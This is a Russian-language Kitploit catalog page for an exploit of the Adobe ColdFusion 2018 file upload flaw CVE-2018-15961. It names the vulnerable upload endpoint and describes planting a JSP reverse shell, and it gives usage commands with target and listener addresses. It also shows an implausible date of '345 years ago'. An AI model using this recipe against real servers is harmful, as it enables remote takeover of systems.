Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2018-15961 — CVE-2018-15961的漏洞利用，这是Adobe ColdFusion 2018中的一个不受限制的文件上传漏洞，导致RCE | Kitploit
Инструменты/GitHubGitHub/xbufu/cve-2018-15961
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubxbufu/cve-2018-15961

CVE-2018-15961

CVE-2018-15961的漏洞利用，这是Adobe ColdFusion 2018中的一个不受限制的文件上传漏洞，导致RCE

Репозиторий
345 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2018-15961 - Adobe ColdFusion 2018 RCE

Данный репозиторий содержит мой эксплойт для уязвимости удаленного выполнения кода (RCE) в Adobe ColdFusion 2018.

Описание эксплойта

Эксплойт отправляет POST-запрос, содержащий JSP-обратную оболочку, на /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. В случае успеха оболочка загружается в /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp. Затем код активирует оболочку, отправляя простой GET-запрос.

Использование

root@kitploit:~
# Базовое использование
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443

# С пользовательским именем файла для оболочки
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443 -f reverse.jsp
Скачать инструмент